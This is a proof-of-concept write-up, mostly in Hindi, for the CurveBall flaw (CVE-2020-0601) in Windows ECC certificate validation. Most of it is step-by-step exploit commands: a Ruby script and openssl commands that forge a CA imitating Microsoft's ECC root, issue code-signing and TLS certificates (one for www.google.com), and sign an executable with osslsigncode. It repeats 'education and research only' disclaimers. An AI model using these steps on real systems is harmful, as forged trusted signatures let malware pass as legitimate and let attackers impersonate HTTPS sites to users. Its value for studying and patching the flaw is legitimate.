
CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, or commonly referred to as CurveBall, is a vulnerability in which the signature of certificates using elliptic curve cryptography (ECC) is not correctly verified. Attackers can supply hand-rolled generators, bypassing validation, antivirus & all non-protections.
CVE-2020-0601, या आमतौर पर CurveBall के रूप में जाना जाता है, एक ऐसी कमजोरी है जिसमें अण्डाकार वक्र क्रिप्टोग्राफी (ECC) का उपयोग करने वाले प्रमाणपत्रों के हस्ताक्षर की सही ढंग से पुष्टि नहीं की जाती है।
ECC विभिन्न मापदंडों पर निर्भर करता है। कई वक्रों के लिए मानकीकृत पैरामीटर का उपयोग किया जाता है। हालाँकि, Microsoft ने उन सभी पैरामीटरों की जाँच नहीं की, जैसे कि वे प्रतिभाशाली हैं... पैरामीटर G (जनरेटर) की जाँच नहीं की गई, और इसलिए एक हमलावर एक हाथ से बनाया गया जनरेटर प्रदान कर सकता है, जिससे जब Microsoft किसी विश्वसनीय CA के विरुद्ध प्रमाणपत्र को मान्य करने का प्रयास करता है, तो वह केवल मेल खाने वाली सार्वजनिक कुंजियों की तलाश करेगा, और फिर-बूम- वह प्रमाणपत्र के जनरेटर का उपयोग करेगा।
NSA इस कमजोरी के विनाशकारी प्रभाव को स्पष्ट रूप से समझाता है और यहाँ और भी यहाँ देखें। तैयार हो जाइए और इसे करने लगिए!
MicrosoftECCProductRootCertificateAuthority.cer डिफ़ॉल्ट रूप से विंडोज 10 पर ECC का उपयोग करने वाला एक विश्वसनीय रूट प्रमाणपत्र प्राधिकरण (CA) है। इस प्रमाणपत्र से हस्ताक्षरित कुछ भी स्वचालित रूप से विश्वसनीय होगा।
यह कहा जाए, :वे हमेशा देख रहे हैं... इसलिए कृपया इसका उपयोग केवल शैक्षिक और शोध उद्देश्यों के लिए करें।
न्यूनतम आवश्यकताएं
openssl 1.1.0
ruby 2.4.0
यदि आप कमजोरी के गणितीय विवरण में रुचि रखते हैं, तो कृपया यहाँ और पढ़ें यहाँ।
प्रमाणपत्र को जाली बनाने के लिए, निम्नलिखित पैरामीटर सेट करें:
d' = 1
G' = Q
जैसे कि Q = Q' = d'G'।
एक विश्वसनीय CA के समान सार्वजनिक कुंजी और पैरामीटर वाला एक प्रमाणपत्र बनाएं। इसका उपयोग हमारे जाली CA के रूप में किया जाएगा। जनरेटर को एक ऐसे मान पर सेट करें, जहाँ आप निजी कुंजी जानते हैं। आप आसानी से जनरेटर को सार्वजनिक कुंजी पर सेट कर सकते हैं, और निजी कुंजी को 1 पर सेट कर सकते हैं, क्योंकि Q = dG।
इसके बाद, आप उन एक्सटेंशन के साथ एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) बनाते हैं जिनका आप उपयोग करना चाहते हैं, जैसे कोड साइनिंग या सर्वर प्रमाणीकरण।
इस प्रमाणपत्र अनुरोध पर अपने जाली CA और CA कुंजी से हस्ताक्षर करें, और उपयोग एक्सटेंशन जोड़ें।
हस्ताक्षरित प्रमाणपत्र अनुरोध (अब एक नियमित प्रमाणपत्र) को जाली CA के साथ बंडल करें, और आपके पास एक हस्ताक्षरित और विश्वसनीय प्रमाणपत्र है।
जब विंडोज जाँचता है कि प्रमाणपत्र विश्वसनीय है या नहीं, तो यह देखेगा कि इस पर हमारे जाली CA ने हस्ताक्षर किया है। फिर यह विश्वसनीय CA के विरुद्ध जाँच करने के लिए जाली CA की सार्वजनिक कुंजी को देखता है। फिर यह केवल जाली CA के जनरेटर के साथ हमारे जाली CA के हस्ताक्षर को सत्यापित करता है - यही समस्या है।
यदि आप अपने नए और हस्ताक्षरित, विश्वसनीय प्रमाणपत्र को विंडोज में खोलना चुनते हैं, तो यह इसे विश्वसनीय के रूप में पहचान नहीं पाएगा, क्योंकि यह किसी भी चीज़ से जुड़ा नहीं है, इसलिए यह जाली CA का उपयोग नहीं करेगा। प्रमाणपत्र को हमेशा जाली CA के साथ स्वयं प्रस्तुत करना होगा।
कृपया इसका उपयोग केवल शैक्षिक और शोध उद्देश्यों के लिए करें।
CA से सार्वजनिक कुंजी निकालें और कमजोरी के अनुसार इसे संशोधित करें:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
इस कुंजी के आधार पर एक नया x509 प्रमाणपत्र उत्पन्न करें। यह हमारा अपना जाली CA होगा।
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
एक नई कुंजी उत्पन्न करें। यह कुंजी आपकी पसंद के किसी भी प्रकार की हो सकती है। इसका उपयोग कोड साइनिंग प्रमाणपत्र बनाने के लिए किया जाएगा, जिस पर हम अपने CA से हस्ताक्षर करेंगे।
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
इसके बाद, एक नया प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) बनाएं। यह अनुरोध अक्सर विश्वसनीय CA को भेजा जाता है, लेकिन चूँकि हमारे पास एक जाली है, हम इसे स्वयं हस्ताक्षरित कर सकते हैं।
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
अपने नए CSR पर हमारे जाली CA और CA कुंजी से हस्ताक्षर करें। यह प्रमाणपत्र 2047 में समाप्त हो जाएगा, जबकि वास्तविक विश्वसनीय Microsoft CA 2043 में समाप्त हो जाएगा।
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
बस इसे एक PKCS12 फ़ाइल में पैक करना है: प्रमाणपत्र, इसकी कुंजी और जाली CA, निष्पादन योग्य फ़ाइलों पर हस्ताक्षर करने के लिए।
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12 फ़ाइल के साथ अपने निष्पादन योग्य पर हस्ताक्षर करें।
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
कृपया इसका उपयोग केवल शैक्षिक और शोध उद्देश्यों के लिए करें। CA से सार्वजनिक कुंजी निकालें और कमजोरी के अनुसार इसे संशोधित करें:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
इस कुंजी के आधार पर एक नया x509 प्रमाणपत्र उत्पन्न करें। यह हमारा अपना जाली CA होगा।
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
एक नई कुंजी उत्पन्न करें। यह कुंजी आपकी पसंद के किसी भी प्रकार की हो सकती है। इसका उपयोग SSL प्रमाणपत्र बनाने के लिए किया जाएगा, जिस पर हम अपने CA से हस्ताक्षर करेंगे।
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
इसके बाद, एक नया प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) बनाएं। यह अनुरोध अक्सर विश्वसनीय CA को भेजा जाता है, लेकिन चूँकि हमारे पास एक जाली है, हम इसे स्वयं हस्ताक्षरित कर सकते हैं।
यदि आप डोमेन नाम बदलना चाहते हैं, तो openssl_tls.conf के अंदर CN = www.google.com को CN = www.example.com में संपादित करें।
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
अपने नए CSR पर हमारे जाली CA और CA कुंजी से हस्ताक्षर करें। यह प्रमाणपत्र 2047 में समाप्त हो जाएगा, जबकि वास्तविक विश्वसनीय Microsoft CA 2043 में समाप्त हो जाएगा।
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
अब आप अपनी सामग्री प्रस्तुत करने के लिए cert.crt, cert.key, और spoofed_ca.crt का उपयोग कर सकते हैं। फिर से, अपने सर्वर के HTTPS कॉन्फ़िगरेशन में प्रमाणपत्र श्रृंखला के रूप में spoofed_ca.crt जोड़ना याद रखें।
उपयोग का उदाहरण देखें https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js पर।
कृपया इसका उपयोग केवल शैक्षिक और शोध उद्देश्यों के लिए करें।